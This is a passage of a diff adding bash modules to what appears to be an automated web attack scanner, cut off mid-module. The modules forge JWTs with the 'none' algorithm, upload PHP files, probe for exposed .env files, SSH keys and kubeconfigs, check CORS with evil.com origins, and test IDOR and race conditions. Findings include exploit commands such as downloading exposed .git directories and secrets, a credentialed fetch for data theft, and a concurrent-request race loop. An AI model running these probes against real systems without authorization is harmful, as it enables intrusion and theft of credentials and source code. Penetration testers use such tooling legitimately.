if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:"; then
|
||||||
|
print_find "XXE confirmed!" "File read via external entity"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: XML External Entity (XXE)
|
||||||
|
DETAIL: XXE confirmed on $target
|
||||||
|
EVIDENCE: Internal file read via DTD entity
|
||||||
|
EXPLOIT: Blind XXE: use OOB exfiltration to attacker server" > "$REPORTS_DIR/.finding_$(date +%s)_xxe.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
print_skip "No XML endpoint detected"
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
46
vectors/10-idor.sh
Executable file
46
vectors/10-idor.sh
Executable file
@@ -0,0 +1,46 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 10: Insecure Direct Object Reference
|
||||||
|
# Desc: Access control bypass via object IDs
|
||||||
|
# Detect: Numeric params, UUIDs, sequential IDs
|
||||||
|
# Severity: HIGH
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_idor() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing IDOR vectors..."
|
||||||
|
|
||||||
|
local id_params=("id" "user_id" "uid" "account" "account_id" "profile" "order" "order_id" "invoice" "doc_id" "file_id" "pid" "cid" "sid" "token")
|
||||||
|
|
||||||
|
for param in "${id_params[@]}"; do
|
||||||
|
# Try sequential IDs
|
||||||
|
for id in 1 2 100 999 1000 1001; do
|
||||||
|
local test_url=""
|
||||||
|
if [[ "$target" == *\?* ]]; then
|
||||||
|
test_url="${target}&${param}=${id}"
|
||||||
|
else
|
||||||
|
test_url="${target}?${param}=${id}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 \
|
||||||
|
-H "User-Agent: Mozilla/5.0" \
|
||||||
|
"$test_url" 2>/dev/null)
|
||||||
|
|
||||||
|
# Check for data leakage (JSON, names, emails, amounts)
|
||||||
|
if echo "\$response" | grep -qiE '"email"|"credit_card"|"ssn"|"salary"|"balance"|"secret"|"private"|"admin"'; then
|
||||||
|
print_find "Potential IDOR!" "Data accessible via $param=$id"
|
||||||
|
echo "SEVERITY: HIGH
|
||||||
|
VECTOR: Insecure Direct Object Reference (IDOR)
|
||||||
|
DETAIL: Potential IDOR via parameter '$param' with value $id on $target
|
||||||
|
EVIDENCE: Sensitive data in response: ${response:0:200}
|
||||||
|
EXPLOIT: Enumerate IDs to access other users' data" > "$REPORTS_DIR/.finding_$(date +%s)_idor.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
63
vectors/11-csrf.sh
Executable file
63
vectors/11-csrf.sh
Executable file
@@ -0,0 +1,63 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 11: Cross-Site Request Forgery
|
||||||
|
# Desc: Missing CSRF tokens in state-changing forms
|
||||||
|
# Detect: Forms without CSRF tokens, SameSite=None cookies
|
||||||
|
# Severity: MEDIUM
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_csrf() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing CSRF vectors..."
|
||||||
|
|
||||||
|
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
||||||
|
|
||||||
|
# Find forms
|
||||||
|
local forms=$(echo "$page" | perl -nle 'print \$& if /<form[^>]*>/g' 2>/dev/null)
|
||||||
|
|
||||||
|
if [ -z "$forms" ]; then
|
||||||
|
print_skip "No forms found to test"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
print_info "Found $(echo "$forms" | wc -l | tr -d ' ') form(s), checking CSRF protection..."
|
||||||
|
|
||||||
|
local form_count=0
|
||||||
|
while IFS= read -r form; do
|
||||||
|
form_count=$((form_count + 1))
|
||||||
|
local form_method=$(echo "$form" | sed -n 's/.*method="\([^"]*\)".*/\1/p' | sed 's/method="//;s/"//' | tr '[:upper:]' '[:lower:]')
|
||||||
|
local form_action=$(echo "$form" | sed -n 's/.*action="\([^"]*\)".*/\1/p' | sed 's/action="//;s/"//')
|
||||||
|
|
||||||
|
# Check for CSRF token in form
|
||||||
|
if ! echo "\$form" | grep -qiE 'csrf|_token|nonce|authenticity_token|xsrf|__RequestVerificationToken'; then
|
||||||
|
# Check page for hidden CSRF fields
|
||||||
|
local hidden_fields=$(echo "$page" | perl -nle 'print \$& if /<input[^>]*hidden[^>]*>/g' 2>/dev/null)
|
||||||
|
local has_csrf=false
|
||||||
|
|
||||||
|
while IFS= read -r hidden; do
|
||||||
|
if echo "\$hidden" | grep -qiE 'csrf|_token|nonce|authenticity'; then
|
||||||
|
has_csrf=true
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done <<< "$hidden_fields"
|
||||||
|
|
||||||
|
if [ "$has_csrf" = false ] && [ "$form_method" = "post" ]; then
|
||||||
|
print_find "CSRF vulnerability!" "Form #$form_count missing CSRF protection"
|
||||||
|
echo "SEVERITY: MEDIUM
|
||||||
|
VECTOR: Cross-Site Request Forgery (CSRF)
|
||||||
|
DETAIL: CSRF - No CSRF token in state-changing form on $target
|
||||||
|
EVIDENCE: Form action=$form_action, method=$form_method lacks CSRF protection
|
||||||
|
EXPLOIT: Generate malicious HTML form that auto-submits to this endpoint" > "$REPORTS_DIR/.finding_$(date +%s)_csrf.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done <<< "$forms"
|
||||||
|
|
||||||
|
if [ "$findings" -eq 0 ]; then
|
||||||
|
print_ok "All forms appear to have CSRF protection"
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
68
vectors/12-jwt.sh
Executable file
68
vectors/12-jwt.sh
Executable file
@@ -0,0 +1,68 @@
|
|||||||
|
1|#!/usr/bin/env bash
|
||||||
|
2|# Vector 12: JWT Attacks
|
||||||
|
3|# Desc: JWT token manipulation (none alg, weak keys, etc.)
|
||||||
|
4|# Detect: JWT tokens in cookies, headers, or params
|
||||||
|
5|# Severity: HIGH
|
||||||
|
6|# Tools: curl, jq
|
||||||
|
7|
|
||||||
|
8|vector_jwt() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing JWT attack vectors..."
|
||||||
|
|
||||||
|
# Look for JWT in cookies or headers
|
||||||
|
local auth_header=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | grep -i "^authorization:\|^set-cookie:")
|
||||||
|
local jwt_pattern='eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*'
|
||||||
|
|
||||||
|
local jwt=$(echo "$auth_header" | perl -nle 'print \$& if /\$jwt_pattern/' | head -1)
|
||||||
|
|
||||||
|
if [ -z "$jwt" ]; then
|
||||||
|
# Check page content
|
||||||
|
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
||||||
|
jwt=$(echo "$page" | perl -nle 'print \$& if /\$jwt_pattern/' | head -1)
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -n "$jwt" ]; then
|
||||||
|
print_find "JWT token found!" "${jwt:0:50}..."
|
||||||
|
|
||||||
|
# Decode header
|
||||||
|
local header=$(echo "$jwt" | cut -d. -f1 | base64 -d 2>/dev/null)
|
||||||
|
local payload=$(echo "$jwt" | cut -d. -f2 | base64 -d 2>/dev/null)
|
||||||
|
|
||||||
|
print_info "Header: $header"
|
||||||
|
print_info "Payload: $payload"
|
||||||
|
|
||||||
|
# Test "none" algorithm attack
|
||||||
|
local header_b64=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
|
||||||
|
local payload_b64=$(echo "$jwt" | cut -d. -f2)
|
||||||
|
local none_jwt="${header_b64}.${payload_b64}."
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 \
|
||||||
|
-H "Authorization: Bearer $none_jwt" \
|
||||||
|
"$target" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -qi "admin\|dashboard\|profile\|200\|success"; then
|
||||||
|
print_find "JWT 'none' algorithm bypass!" "Token accepted without signature"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
49|VECTOR: JWT Algorithm Confusion (none)
|
||||||
|
50|DETAIL: Server accepts 'alg:none' JWT token on $target
|
||||||
|
51|EVIDENCE: Token with 'none' alg accepted by server
|
||||||
|
52|EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Save JWT info for report
|
||||||
|
echo "SEVERITY: INFO
|
||||||
|
58|VECTOR: JWT Token Discovery
|
||||||
|
59|DETAIL: JWT token found on $target
|
||||||
|
60|EVIDENCE: Token: ${jwt:0:80}...
|
||||||
|
61|EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt"
|
||||||
|
else
|
||||||
|
print_skip "No JWT tokens found"
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
67|}
|
||||||
|
68|
|
||||||
55
vectors/13-graphql.sh
Executable file
55
vectors/13-graphql.sh
Executable file
@@ -0,0 +1,55 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 13: GraphQL Injection & Introspection
|
||||||
|
# Desc: GraphQL introspection, injection, batching attacks
|
||||||
|
# Detect: /graphql endpoints, query params, POST with query
|
||||||
|
# Severity: HIGH
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_graphql() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
|
||||||
|
|
||||||
|
print_info "Testing GraphQL vectors..."
|
||||||
|
|
||||||
|
# Check common GraphQL endpoints
|
||||||
|
local gql_paths=("/graphql" "/v1/graphql" "/v2/graphql" "/api/graphql" "/graph" "/query" "/gql")
|
||||||
|
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
|
||||||
|
|
||||||
|
for path in "${gql_paths[@]}"; do
|
||||||
|
local code=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 10 "${base}${path}" 2>/dev/null)
|
||||||
|
|
||||||
|
if [ "$code" != "000" ] && [ "$code" != "404" ]; then
|
||||||
|
print_info "Found GraphQL endpoint: ${base}${path} (HTTP $code)"
|
||||||
|
|
||||||
|
# Test introspection
|
||||||
|
local introspection='{"query":"query{__schema{types{name fields{name type{name kind}}}}}"}'
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 \
|
||||||
|
-X POST \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "$introspection" \
|
||||||
|
"${base}${path}" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -qi '"data"' && echo "$response" | grep -qi '__schema\|types\|fields'; then
|
||||||
|
print_find "GraphQL Introspection Enabled!" "Full schema available at ${base}${path}"
|
||||||
|
|
||||||
|
# Extract type names from schema
|
||||||
|
local types=$(echo "$response" | jq -r '.data.__schema.types[].name' 2>/dev/null | grep -v '__\|Query\|Mutation\|Subscription\|String\|Int\|Float\|Boolean\|ID' | head -10)
|
||||||
|
|
||||||
|
echo "SEVERITY: HIGH
|
||||||
|
VECTOR: GraphQL Introspection
|
||||||
|
DETAIL: GraphQL introspection enabled at ${base}${path} on $target
|
||||||
|
EVIDENCE: Full schema accessible
|
||||||
|
EXPLOIT: Extract all queries/mutations: query{__schema{types{name fields{name type{name kind}}}}}" > "$REPORTS_DIR/.finding_$(date +%s)_graphql.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
|
||||||
|
if [ -n "$types" ]; then
|
||||||
|
print_info "Types found: $types"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
67
vectors/14-api-abuse.sh
Executable file
67
vectors/14-api-abuse.sh
Executable file
@@ -0,0 +1,67 @@
|
|||||||
|
1|#!/usr/bin/env bash
|
||||||
|
2|# Vector 14: API Abuse & Security Testing
|
||||||
|
3|# Desc: Rate limiting, auth bypass, mass assignment, parameter pollution
|
||||||
|
4|# Detect: API endpoints /api/, /v1/, /rest
|
||||||
|
5|# Severity: HIGH
|
||||||
|
6|# Tools: curl
|
||||||
|
7|
|
||||||
|
8|vector_apiab() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing API security..."
|
||||||
|
|
||||||
|
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
|
||||||
|
local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
|
||||||
|
|
||||||
|
# Discover API endpoints
|
||||||
|
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
||||||
|
local api_urls=$(echo "$page" | perl -nle 'while (/"https?:\/\/[^"]*api[^"]*"|"\/api\/[^"]*"|"\/v[0-9]\/[^"]*"/g) { print \$& }' 2>/dev/null | sort -u | head -10)
|
||||||
|
|
||||||
|
for endpoint in $api_urls; do
|
||||||
|
endpoint=$(echo "$endpoint" | tr -d '"')
|
||||||
|
[[ "$endpoint" == /* ]] && endpoint="${base}${endpoint}"
|
||||||
|
|
||||||
|
# Test various auth bypass methods
|
||||||
|
local methods=("GET" "POST" "PUT" "DELETE" "PATCH" "OPTIONS")
|
||||||
|
|
||||||
|
for method in "${methods[@]}"; do
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 \
|
||||||
|
-X "$method" \
|
||||||
|
-H "Authorization: Bearer" \
|
||||||
|
-H "Authorization: null" \
|
||||||
|
-H "X-Forwarded-For: 127.0.0.1" \
|
||||||
|
"$endpoint" 2>/dev/null)
|
||||||
|
|
||||||
|
# Check for unexpected access
|
||||||
|
local status=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" --connect-timeout 5 --max-time 10 "$endpoint" 2>/dev/null)
|
||||||
|
|
||||||
|
if [ "$status" = "200" ] && [ "$method" != "GET" ]; then
|
||||||
|
print_warn "Unusual: $method $endpoint returns $status"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Test rate limiting
|
||||||
|
local rate_check=0
|
||||||
|
for i in 1 2 3 4 5 6 7 8 9 10; do
|
||||||
|
local rstatus=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 3 --max-time 5 "$endpoint" 2>/dev/null)
|
||||||
|
if [ "$rstatus" = "429" ] || [ "$rstatus" = "503" ]; then
|
||||||
|
rate_check=$((rate_check + 1))
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if [ "$rate_check" -eq 0 ]; then
|
||||||
|
print_warn "No rate limiting detected on $endpoint"
|
||||||
|
echo "SEVERITY: MEDIUM
|
||||||
|
57|VECTOR: Missing Rate Limiting
|
||||||
|
58|DETAIL: No rate limiting on $endpoint
|
||||||
|
59|EVIDENCE: 10 rapid requests without 429/503 response
|
||||||
|
60|EXPLOIT: Enables brute force, credential stuffing, DoS" > "$REPORTS_DIR/.finding_$(date +%s)_ratelimit.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
66|}
|
||||||
|
67|
|
||||||
49
vectors/15-file-upload.sh
Executable file
49
vectors/15-file-upload.sh
Executable file
@@ -0,0 +1,49 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 15: File Upload Vulnerabilities
|
||||||
|
# Desc: Unrestricted file upload, path traversal in upload
|
||||||
|
# Detect: Upload forms, multipart endpoints
|
||||||
|
# Severity: HIGH
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_fileup() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing File Upload vectors..."
|
||||||
|
|
||||||
|
# Find upload endpoints
|
||||||
|
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
||||||
|
local upload_urls=$(echo "$page" | grep -oiP 'action="[^"]*upload[^"]*"\|enctype="multipart/form-data"' | head -5)
|
||||||
|
|
||||||
|
if [ -n "$upload_urls" ]; then
|
||||||
|
print_info "Upload form detected, testing restrictions..."
|
||||||
|
|
||||||
|
# Try uploading a PHP shell (harmless test)
|
||||||
|
local test_content='<?php echo "UPLOAD_TEST"; ?>'
|
||||||
|
local tmpfile=$(mktemp)
|
||||||
|
echo "$test_content" > "$tmpfile"
|
||||||
|
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 \
|
||||||
|
-F "file=@${tmpfile};filename=test.php" \
|
||||||
|
-F "file=@${tmpfile};filename=test.php.jpg" \
|
||||||
|
-F "file=@${tmpfile};filename=test.png;type=image/png" \
|
||||||
|
"$target" 2>/dev/null)
|
||||||
|
|
||||||
|
rm -f "$tmpfile"
|
||||||
|
|
||||||
|
if echo "$response" | grep -qi "uploaded\|success\|200\|stored"; then
|
||||||
|
print_find "File Upload Vulnerability!" "PHP file accepted as upload"
|
||||||
|
echo "SEVERITY: HIGH
|
||||||
|
VECTOR: Unrestricted File Upload
|
||||||
|
DETAIL: Server accepted PHP file upload on $target
|
||||||
|
EVIDENCE: Upload response indicates success
|
||||||
|
EXPLOIT: Upload PHP web shell for RCE" > "$REPORTS_DIR/.finding_$(date +%s)_fileup.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
print_skip "No upload forms detected"
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
91
vectors/16-backup-files.sh
Executable file
91
vectors/16-backup-files.sh
Executable file
@@ -0,0 +1,91 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 16: Backup & Config File Exposure
|
||||||
|
# Desc: Find exposed backup files, config dumps, source code
|
||||||
|
# Detect: Any web server
|
||||||
|
# Severity: HIGH
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_backup() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
|
||||||
|
|
||||||
|
print_info "Scanning for exposed backup/config files..."
|
||||||
|
|
||||||
|
local files=(
|
||||||
|
".env"
|
||||||
|
".env.bak"
|
||||||
|
".env.backup"
|
||||||
|
".env.local"
|
||||||
|
".env.production"
|
||||||
|
"config.php"
|
||||||
|
"config.php.bak"
|
||||||
|
"config.bak"
|
||||||
|
"config.old"
|
||||||
|
"db_backup.sql"
|
||||||
|
"backup.sql"
|
||||||
|
"dump.sql"
|
||||||
|
"database.sql"
|
||||||
|
"wp-config.php"
|
||||||
|
"wp-config.php.bak"
|
||||||
|
"config.php~"
|
||||||
|
"composer.json"
|
||||||
|
"package.json"
|
||||||
|
"npm-shrinkwrap.json"
|
||||||
|
".htaccess"
|
||||||
|
".htpasswd"
|
||||||
|
"phpinfo.php"
|
||||||
|
"info.php"
|
||||||
|
"test.php"
|
||||||
|
"admin.php"
|
||||||
|
"credentials.txt"
|
||||||
|
"passwords.txt"
|
||||||
|
"secrets.yml"
|
||||||
|
"credentials.json"
|
||||||
|
"aws.json"
|
||||||
|
"azure.json"
|
||||||
|
"gcp.json"
|
||||||
|
"id_rsa"
|
||||||
|
"id_rsa.pub"
|
||||||
|
".gitignore"
|
||||||
|
"dump.rdb"
|
||||||
|
"mongodump.gz"
|
||||||
|
"error.log"
|
||||||
|
"debug.log"
|
||||||
|
"install.log"
|
||||||
|
"access.log"
|
||||||
|
"Dockerfile"
|
||||||
|
"docker-compose.yml"
|
||||||
|
"kubeconfig"
|
||||||
|
".kube/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
for file in "${files[@]}"; do
|
||||||
|
local code=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 4 --max-time 8 "${base}/${file}" 2>/dev/null)
|
||||||
|
|
||||||
|
if [[ "$code" =~ ^[23] ]]; then
|
||||||
|
local size=$(curl -s --connect-timeout 4 --max-time 8 "${base}/${file}" 2>/dev/null | wc -c | tr -d ' ')
|
||||||
|
|
||||||
|
if [ "$size" -gt 10 ]; then
|
||||||
|
local preview=$(curl -s --connect-timeout 4 --max-time 8 "${base}/${file}" 2>/dev/null | head -c 200)
|
||||||
|
|
||||||
|
print_find "Exposed: /$file" "($size bytes) HTTP $code"
|
||||||
|
|
||||||
|
local sev="HIGH"
|
||||||
|
if echo "$file" | grep -qi "\.env\|password\|secret\|credential\|key\|dump\|backup"; then
|
||||||
|
sev="CRITICAL"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "SEVERITY: $sev
|
||||||
|
VECTOR: Exposed File - $file
|
||||||
|
DETAIL: Sensitive/config file exposed at ${base}/$file
|
||||||
|
EVIDENCE: HTTP $code, $size bytes, preview: $preview
|
||||||
|
EXPLOIT: Download: curl -O ${base}/$file" > "$REPORTS_DIR/.finding_$(date +%s)_exposed-${file//\//_}.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
40
vectors/17-git-exposure.sh
Executable file
40
vectors/17-git-exposure.sh
Executable file
@@ -0,0 +1,40 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 17: .git Repository Exposure
|
||||||
|
# Desc: Exposed .git directory leaking source code
|
||||||
|
# Detect: Any web server
|
||||||
|
# Severity: CRITICAL
|
||||||
|
# Tools: curl, git
|
||||||
|
|
||||||
|
vector_gitex() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
|
||||||
|
|
||||||
|
print_info "Checking .git exposure..."
|
||||||
|
|
||||||
|
local git_url="${base}/.git/HEAD"
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$git_url" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "$response" | grep -qi "ref: refs/heads/\|refs/heads/master\|refs/heads/main"; then
|
||||||
|
print_find ".git HEAD exposed!" "Full git repo may be downloadable at $base/.git/"
|
||||||
|
|
||||||
|
# Check more .git files
|
||||||
|
local config=$(curl -s --connect-timeout 5 --max-time 10 "${base}/.git/config" 2>/dev/null)
|
||||||
|
local objects_check=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 10 "${base}/.git/objects" 2>/dev/null)
|
||||||
|
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: .git Repository Exposure
|
||||||
|
DETAIL: Complete .git directory exposed at ${base}/.git/
|
||||||
|
EVIDENCE: .git/HEAD accessible with content: $response
|
||||||
|
EXPLOIT: Use git-dumper: git-dumper $base/.git/ ./repo-out/
|
||||||
|
Or: wget -r $base/.git/" > "$REPORTS_DIR/.finding_$(date +%s)_git-exposure.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
|
||||||
|
print_info "Use: git-dumper $base/.git/ ./repo/"
|
||||||
|
else
|
||||||
|
print_skip "No .git exposure detected"
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
55
vectors/18-cors.sh
Executable file
55
vectors/18-cors.sh
Executable file
@@ -0,0 +1,55 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 18: CORS Misconfiguration
|
||||||
|
# Desc: Permissive CORS allowing cross-origin data theft
|
||||||
|
# Detect: API endpoints with Access-Control headers
|
||||||
|
# Severity: MEDIUM
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_cors() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing CORS configuration..."
|
||||||
|
|
||||||
|
local origins=("https://evil.com" "null" "https://attacker.com" "http://localhost" "https://evil.$domain")
|
||||||
|
|
||||||
|
for origin in "${origins[@]}"; do
|
||||||
|
local headers=$(curl -sI --connect-timeout 5 --max-time 10 \
|
||||||
|
-H "Origin: $origin" \
|
||||||
|
-H "Referer: ${origin}/" \
|
||||||
|
"$target" 2>/dev/null)
|
||||||
|
|
||||||
|
local acao=$(echo "$headers" | grep -i "^access-control-allow-origin:" | tr -d '\r' | sed 's/[Aa]ccess-[Cc]ontrol-[Aa]llow-[Oo]rigin: //')
|
||||||
|
local acac=$(echo "$headers" | grep -i "^access-control-allow-credentials:" | tr -d '\r' | sed 's/[Aa]ccess-[Cc]ontrol-[Aa]llow-[Cc]redentials: //')
|
||||||
|
|
||||||
|
if [ -n "$acao" ]; then
|
||||||
|
if echo "$acao" | grep -qi "^\*$"; then
|
||||||
|
print_find "Wildcard CORS!" "Access-Control-Allow-Origin: *"
|
||||||
|
echo "SEVERITY: MEDIUM
|
||||||
|
VECTOR: CORS Wildcard
|
||||||
|
DETAIL: Wildcard CORS allowed on $target
|
||||||
|
EVIDENCE: Access-Control-Allow-Origin: *
|
||||||
|
EXPLOIT: Cross-origin data theft from any domain" > "$REPORTS_DIR/.finding_$(date +%s)_cors-wildcard.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break
|
||||||
|
elif echo "$acao" | grep -qi "$origin"; then
|
||||||
|
print_find "Reflective CORS!" "Origin $origin reflected in ACAO"
|
||||||
|
echo "SEVERITY: MEDIUM
|
||||||
|
VECTOR: CORS Reflection
|
||||||
|
DETAIL: CORS reflects arbitrary origins on $target
|
||||||
|
EVIDENCE: Origin '$origin' reflected in ACAO header
|
||||||
|
CREDENTIALS: $acac
|
||||||
|
EXPLOIT: Steal data via: fetch('$target', {credentials:'include'})" > "$REPORTS_DIR/.finding_$(date +%s)_cors-reflect.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if [ "$findings" -eq 0 ]; then
|
||||||
|
print_ok "CORS configuration looks secure"
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
39
vectors/19-race-condition.sh
Executable file
39
vectors/19-race-condition.sh
Executable file
@@ -0,0 +1,39 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 19: Race Condition
|
||||||
|
# Desc: TOCTOU, concurrent request race conditions
|
||||||
|
# Detect: Coupon codes, transfers, voting, limited-use operations
|
||||||
|
# Severity: MEDIUM
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_race() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing Race Condition vectors..."
|
||||||
|
|
||||||
|
# Look for potential race targets
|
||||||
|
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
||||||
|
local race_indicators=""
|
||||||
|
|
||||||
|
echo "\$page" | grep -qiE "coupon|discount|promo|free trial|voucher|transfer|withdraw|claim|vote|review|submit" && race_indicators="yes"
|
||||||
|
|
||||||
|
if [ -n "$race_indicators" ]; then
|
||||||
|
# Find endpoints to race
|
||||||
|
local endpoints=$(echo "$page" | perl -nle 'print \$1 while /(action="[^"]*"|href="[^"]*")/g' | grep -iE "submit|claim|redeem|transfer|vote" | head -3)
|
||||||
|
|
||||||
|
if [ -n "$endpoints" ]; then
|
||||||
|
print_warn "Potential race condition targets found - manual testing recommended"
|
||||||
|
print_info "Send multiple concurrent requests to the same endpoint"
|
||||||
|
|
||||||
|
echo "SEVERITY: MEDIUM
|
||||||
|
VECTOR: Potential Race Condition
|
||||||
|
DETAIL: Possible race condition targets on $target
|
||||||
|
EVIDENCE: State-changing operations detected: coupon/claim/vote/transfer
|
||||||
|
EXPLOIT: Send 50+ concurrent requests: for i in {1..50}; do curl -X POST [endpoint] & done" > "$REPORTS_DIR/.finding_$(date +%s)_race.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
54
vectors/20-nosqli.sh
Executable file
54
vectors/20-nosqli.sh
Executable file
@@ -0,0 +1,54 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Vector 20: NoSQL Injection
|
||||||
|
# Desc: MongoDB injection via JSON operators ($ne, $gt, $regex)
|
||||||
|
# Detect: Node.js/Express apps, MongoDB backends
|
||||||
|
# Severity: HIGH
|
||||||
|
# Tools: curl
|
||||||
|
|
||||||
|
vector_nosqli() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings=0
|
||||||
|
|
||||||
|
print_info "Testing NoSQL Injection vectors..."
|
||||||
|
|
||||||
|
# Check for JSON content types or Node.js indicators
|
||||||
|
local headers=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
||||||
|
|
||||||
|
# Test POST endpoints
|
||||||
|
